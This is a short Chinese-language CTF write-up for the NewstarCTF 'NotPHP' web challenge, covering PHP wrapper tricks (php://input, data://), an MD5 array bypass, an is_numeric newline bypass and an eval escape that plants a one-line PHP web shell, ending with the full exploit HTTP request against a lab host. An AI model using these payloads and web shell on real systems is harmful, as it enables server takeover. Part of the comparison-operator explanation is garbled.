CTF(Capture The Flag)是一种信息安全竞赛的形式,通常会包含多种题目类型,如web和misc。
web类型的题目通常涉及到网站安全,包括常见的web漏洞,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、SQL注入等。解决这类题目需要熟悉web安全技术,如HTTP协议、HTML、JavaScript、Cookie等。
misc类型的题目是一个比较杂的类别,包含了许多不同类型的题目,如编码、加密、数据处理、网络协议等。解决这类题目需要广泛的知识背景和技术技巧,需要解决者具备较强的分析和推理能力。
以下是web - not php
所有视频在https://www.bilibili.com/video/BV1F24y1R7rN/
NewstarCTF WEB NOTPHP WP
php伪协议
file_get_contents()
函数
使用php://input伪协议绕过 ① 将要GET的参数?xxx=php://input ② 用post方法传入想要file_get_contents()函数返回的值 用data://伪协议绕过 将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码 或者将url改为:?xxx=data:text/plain,(url编码的内容)
==判断值是否相等,比如 ‘1’ == 1是相等的。
= 赋值,比如 a = $q。
= 全等,比较类型和值,比如 1= 1是相等的,这样是不等的 ‘1’ === 1。
/?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=
md5强类型比较绕过
(md5($_GET['key1']) === md5($_GET['key2'])
$_GET['key1'] !== $_GET['key2'])
//&key1[]&key2[]=s155964671a
法1:如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的
法2:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
数字比较
!is_numeric($_POST['num']) && intval($_POST['num']) == 2077
!is_numeric(不是数字)
可以用%0a(换行符)绕过
eval+#绕过
eval()函数
#很烦需要闭合绕过
;?><?php%20eval($_POST[1]);?>
然后蚁剑连接,拿到flag
POST /?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=&key1[]&key2[]=s155964671a&cmd=;?><?php%20eval($_POST[1]);?> HTTP/1.1Host: 745d705e-7e34-4151-aaea-29b967d97d69.node4.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 11num=2077a